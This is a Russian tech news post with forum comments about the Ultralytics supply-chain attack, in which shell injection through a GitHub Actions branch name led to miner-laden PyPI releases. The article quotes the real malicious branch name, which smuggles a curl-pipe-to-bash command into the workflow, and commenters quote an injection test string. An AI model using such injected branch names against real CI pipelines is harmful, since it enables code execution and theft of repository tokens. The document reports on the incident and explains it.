LINUX.ORG.RU

Ошибка в обработчике GitHub Actions привела к публикации вредоносных релизов Ultralytics

 , github actions, , , ultralytics

Ошибка в обработчике GitHub Actions привела к публикации вредоносных релизов Ultralytics

1

2

Злоумышленники смогли выполнить код с правами обработчика GitHub Actions в репозитории Python-библиотеки Ultralytics, применяемой для решения задач компьютерного зрения, таких как определение объектов на изображениях и сегментирование изображений. После получения доступа к репозиторию атакующие опубликовали в каталоге PyPI несколько новых релизов Ultralytics, включающих вредоносные изменения для майнинга криптовалют. За последний месяц библиотека Ultralytics была загружена из каталога PyPI более 6.4 млн раз.

Для компрометации репозитория была задействована уязвимость в пакете ultralytics-actions, применяемом для автоматического запуска обработчиков при совершении определённых действий с репозиторием на GitHub, используя механизм GitHub Actions. В проекте ultralytics уязвимый обработчик привязывался к событию pull_request_target и вызывался при поступлении новых pull-запросов. В частности, для форматирования кода в присылаемых pull-запросах вызывался обработчик format.yml и выполнялся код, указанный в секции «run» файла action.yml, в котором присутствовали shell-команды с шаблонами подстановки:

  git pull origin ${{ github.head_ref || github.ref }}
  git config --global user.name "${{ inputs.github_username }}"
  git config --global user.email "${{ inputs.github_email }}"

Таким образом, в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе. Примечательно, что в августе в пакете ultralytics-actions уже исправлялась похожая уязвимость, связанная с использованием внешнего значения в функции echo:

echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Для организации выполнения своего кода в контексте обработчика GitHub Actions атакующие отправили pull-запрос в репозиторий ultralytics, указав в качестве имени ветки:

   openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Соответственно, при поступлении pull-запроса в код подставилась заданная атакующими строка «$(…)», которая при при последующем запуске обработчика привела к выполнению кода

"curl -sSfL raw.githubusercontent.com/.../file.sh | bash".

Запуск кода в контексте GitHub Actions может использоваться для захвата токена доступа к репозиторию и других конфиденциальных данных. Как именно атакующим удалось сформировать релиз, получив возможность выполнения своего кода в GitHub Actions, пока точно не ясно, предполагается, что это стало возможным благодаря изменению обработчика publish.yml (атакующие убрали проверку учётной записи с которой разрешено публиковать релизы в PyPI) и использованию техники отравления сборочного кэша GitHub Actions для подстановки своих данных в релиз.

Первый вредоносный релиз Ultralytics 8.3.41 был опубликован злоумышленниками в каталоге PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 на следующий день. В 15:47 был размещён ещё один релиз 8.3.42, который был удалён в 16:47. Таким образом вредоносные версии в общей сложности были доступны для загрузки около 13 часов (в день в PyPI фиксируется около 250 тысяч загрузок библиотеки ultralytics). В составе выпусков 8.3.41 и 8.3.42 присутствовал код, осуществляющий загрузку с внешнего сервера компонента XMRig для майнинга криптовалюты.

Разработчики проекта устранили проблему и сформировали корректирующие релизы 8.3.43 и 8.3.44, но спустя два дня была совершена ещё одна атака, в ходе которой злоумышленники опубликовали сегодня в 04:41 и 05:27 (MSK) два дополнительных вредоносных релиза - 8.3.45 и 8.3.46, включающих другой код для майнинга. До окончания разбирательства пользователям рекомендуется повременить с установкой новых версий и зафиксировать в зависимостях выпуск 8.3.44.

>>> https://opennet.ru/62365-hack



Проверено: hobbit ()
Последнее исправление: hobbit (всего исправлений: 4)

Поделом им, нечего curl | bash и его аналоги устраивать. И гитхаб в процессы включать.

firkax ★★★★★
()

Ну штош. Уязвимость уровня внешнего инклюда похапе 20-летней давности

guyvernk
()

Олег MS за всё берётся смело,
Всё превращается в говно.
А если за говно берётся,
То просто тратит меньше сил.

Smacker ★★★★★
()
Последнее исправление: Smacker (всего исправлений: 1)
Ответ на: комментарий от WindowsXP

Ну тогда в говно можно по такой логике записать … bash …

Давно пора.

kaldeon
()

Таким образом, в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе.

Пардон, а "${{ var }}" (с кавычками) разве может защитить от этого? Допустим, мы передадим в var значение "$(curl . . . |sh)".

Или "${{ var }}" — это специальный синтаксис шаблонизатора, должным образом выполняющий экранирование?

kaldeon
()
Последнее исправление: kaldeon (всего исправлений: 3)

Ограничилось одним репозиторием или тем половина релизов проектов на гитхабе уже с майнерами?

LINUX-ORG-RU ★★★★★
()
Последнее исправление: LINUX-ORG-RU (всего исправлений: 1)

Тут еще хорошо бы исполнять этот код на серверах МС, ну да ладно. Это на Новый год.

Irma ★★
()

Девопселоперс! Девопселоперс! Девопселоперс!

thesis ★★★★★
()

Интересно, сколько там еще таких дыр?

gns ★★★★★
()

Интересно, как они пробились через песочницу, если таковая была, конечно

yoghurt ★★★★★
()

«Бредоносные релизы»... Звучит-то как! :))

Somebody ★★
()

Какой урок можно вынести из этого?
Не качать только вышедшие, с пылу с жару, релизы, а дать им настояться под миллионом глаз машин™ хотя бы месяцок-два. Тише едешь, дальше будешь.

mydibyje ★★★★
()
Последнее исправление: mydibyje (всего исправлений: 1)
Ответ на: комментарий от mydibyje

Я бы более глобально посмотел на вопрос. Не качать лишнего в принципе. А то щас стало можно тянуть с CDN плагины для всего, скоро чтобы 2 + 2 посчитать будут либу тянуть от Васяна…

Zhbert ★★★★★
()
Ответ на: комментарий от WindowsXP

А в чём виноват владелец гитхаба? В том что владельцы репы рукожопы и не умеют код писать?

Не совсем. Ведь там атакующие сумели в название веток для пулл-реквеста поместить команды. Программеры просто использовали переменные github.head_ref, github.ref и тд. Тот факт, что, через эти переменные гитхаб позволил передать всякую дрянь - вина имхо гитхаба как раз. Откуда разработчикам CI тестов Ultralytics было знать, что гитхабовский код всё это пропустит?

anonmyous ★★
()
Ответ на: комментарий от ac130kz

Гитхаб CI оказывается позволяет выполнять любой код, «more news at 11».

А что он должен позволять делать? Он гоняет пользовательские тесты, то есть, произвольный код, написанный кем угодно.

anonmyous ★★
()
Ответ на: комментарий от LINUX-ORG-RU

Ограничилось одним репозиторием или тем половина релизов проектов на гитхабе уже с майнерами?

Атака весьма сложная, и к тому же заметная по подозрительным пулл-реквестам. Думаю, они специально избрали максимально распространённую либу, и подбирали время, когда разработчики в неё обычно не коммитят (то есть спят). По этому, за свой собственный репозитарий с парой десятков пользователей, местные люди могут быть спокойны. :)

anonmyous ★★
()
Ответ на: комментарий от Lucky

Про этот трюк с переменными у них написано в документации, но найти ее можно только если специально искать.

For example, zzz";echo${IFS}"hello";# would be a valid branch
name and would be a possible attack vector for a target
repository.

Мля… Но почему? Неужели гитхабовцам было сложно самим проверять название веток на валидность? Неужели проще написать вот этот бред в доке, и возложить всю вину на тестописателей, которые вообще ни в зуб ногой? :(

anonmyous ★★
()
Ответ на: комментарий от mydibyje

Какой урок можно вынести из этого?

Опенсорс - все. Вирусни уже поди больше чев в винде

pihter ★★★★★
()
Ответ на: комментарий от anonmyous

Разупорись, это валидное имя ветки:

~ $ git --version
git version 2.47.1
~ $ git check-ref-format --branch zzz\"\;echo\$\{IFS\}\"hello\"\;\#
zzz";echo${IFS}"hello";#

ratvier ★★
()
Ответ на: комментарий от ratvier

Ну так, видимо, такие разупористы, как вы, и сделали ЭТО валидным.

гитхабу то никто не мешал подобное запретить, даже если гит позволяет.

anonmyous ★★
()
Последнее исправление: anonmyous (всего исправлений: 1)
Ответ на: комментарий от anonmyous

это название ветки валидное в git. что именно ты хочешь ограничить? поставит бан на всё что напоминает функцию шела или команду линукса?

WindowsXP ★★
()
Последнее исправление: WindowsXP (всего исправлений: 1)
Ответ на: комментарий от Werenter

Гит ещё и русский язык позволяет в названии ветки, я проверил.

Да это как раз норм. Мож кому удобно ветки именовать кирилицей. Можно хоть весь юникод разрешить, только спец-символы-то зачем?

anonmyous ★★
()
Ответ на: комментарий от WindowsXP

Точно так же как как не обязывает гитхаб выпрямлять руки рукожопам.

Вы серьёзно? У гитхаба десятки миллионов клиентов (наугад говорю, статы не смотрел). Вы будете там каждому тестописателю объяснять, что, типа, низзя переменные использовать без доп проверок, а то, понимаш, взломают… Вы будете это миллионам людей объяснять, или, может, проще таки запретить спец символы?

Я вам ответ дам: в первом случае вас сломают с вероятностью 100%, а во втором - 0%. Выбор за вами.

anonmyous ★★
()
Последнее исправление: anonmyous (всего исправлений: 1)
Ответ на: комментарий от LINUX-ORG-RU

Если релиз собирать самому - все тип-топ!

zanac1
()
Ответ на: комментарий от anonmyous

Атака весьма сложная

угу, весьма сложная для имебцилов, которые черпают знания о безопасности разве что из википедии, к примеру попробуйте найти там упоминание \r или \n на https://en.wikipedia.org/wiki/Code_injection#Shell_injection, или на https://cwe.mitre.org/ попробуйте найти хоть какие-то рабочие рекомендации, которые отражают реальное положение дел.

В целом, DevOps - это реальная помойка и обсуждать тут совершенно нечего, ну да, есть претензии к тому, что GH позволяет бранчи называть как угодно, да, реально подстава, но не дыра с т.з. GH (их-то никто не взломал), а у чуваков что релизная воркфла, что ПР используют одно и то же окружение - это уже клиника, тут терапевты уже бессильны.

borisych ★★★★★
()
Ответ на: комментарий от borisych

угу, весьма сложная для имебцилов, которые черпают знания о безопасности разве что из википедии

А, чукча не читатель, понимаю. Так вот, специально для имбецилов, не читающих дальше заголовка:

Запуск кода в контексте GitHub Actions может использоваться для
захвата токена доступа к репозиторию и других конфиденциальных
данных. Как именно атакующим удалось сформировать релиз, получив
возможность выполнения своего кода в GitHub Actions, пока точно
не ясно, предполагается, что это стало возможным благодаря
изменению обработчика publish.yml (атакующие убрали проверку
учётной записи с которой разрешено публиковать релизы в PyPI) и
использованию техники отравления сборочного кэша GitHub Actions
для подстановки своих данных в релиз.

То есть, пока эксперты ещё выясняют, как вообще была произведена атака, какой-то ЛОРовец уже постит ссылки на шелл инжекшон. :) А то бы мы без вас не догадались, что там шелл инжекшон имел место быть как часть комплексной атаки.

anonmyous ★★
()
Ответ на: комментарий от anonmyous

Вполне себе обязывает, если они декларируют, что они именно git-репозиторий.

pplcf
()
Для того чтобы оставить комментарий войдите или зарегистрируйтесь.